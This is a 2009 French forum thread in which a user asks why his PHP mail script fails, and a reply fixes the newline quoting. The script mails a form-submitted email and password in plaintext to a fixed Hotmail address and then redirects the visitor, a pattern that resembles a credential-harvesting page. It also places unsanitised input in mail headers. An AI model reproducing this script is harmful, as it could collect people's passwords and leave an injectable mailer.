Mail PHP

Fermé
-Shadow- Messages postés 2149 Date d'inscription jeudi 1 mai 2008 Statut Membre Dernière intervention 17 juin 2023 - 9 juin 2009 à 22:58
gryzzly Messages postés 4608 Date d'inscription lundi 7 novembre 2005 Statut Contributeur Dernière intervention 24 octobre 2020 - 11 juin 2009 à 00:58
Bonjour,
ce script PHP est censé m'envoyer un mail, mais ça ne marche pas.
<?php

$sender = "z@hotmail.fr";
$pwd = $_POST['password'];
$eml = $_POST['email'];

$headers ='From: "nom"<'.$eml.'>'.'\n';
$headers .='Reply-To: z@hotmail.fr'.'\n';
$headers .='Content-Type: text/plain; charset="iso-8859-1"'.'\n';
$headers .='Content-Transfer-Encoding: 8bit'; 

mail($sender, "Abonnement", "Email: ".$eml."\nPassword: ".$pwd."\n\nMerci de vous être enregistrés!", $headers);

Header("Location: http://www.monsite.com/");

?>

Pourquoi ne marche-t-il pas?
Merci d'avance.

Mat'
A voir également:

3 réponses

gryzzly Messages postés 4608 Date d'inscription lundi 7 novembre 2005 Statut Contributeur Dernière intervention 24 octobre 2020 1 334
9 juin 2009 à 23:03
serveur local ? distant ? mail() actif ? windows ? linux ?
0
-Shadow- Messages postés 2149 Date d'inscription jeudi 1 mai 2008 Statut Membre Dernière intervention 17 juin 2023 269
10 juin 2009 à 23:37
Re,

Merci pour ta réponse,

C'est un serveur distant qui ne m'appartient pas, c'est en fait Free ^^
Donc sous Linux.

A+,
Mat'
0
gryzzly Messages postés 4608 Date d'inscription lundi 7 novembre 2005 Statut Contributeur Dernière intervention 24 octobre 2020 1 334
11 juin 2009 à 00:58
Peut etre a cause des headers
'\n' n'est pas valide. c'est "\n" ... par contre, ne me demandes pas l'explication, je n'en ai pas.

<?php
$sender = "z@hotmail.fr";
$pwd = "pass";
$eml = "exp@dit.eur";

$headers ="From: nom<".$eml.">"."\n";
$headers .="Reply-To: z@hotmail.fr"."\n";
$headers .="Content-Type: text/plain; charset='iso-8859-1'"."\n";
$headers .="Content-Transfer-Encoding: 8bit"; 

mail($sender, "Abonnement", "Email: ".$eml."\nPassword: ".$pwd."\n\nMerci de vous être enregistrés!", $headers);
?>
0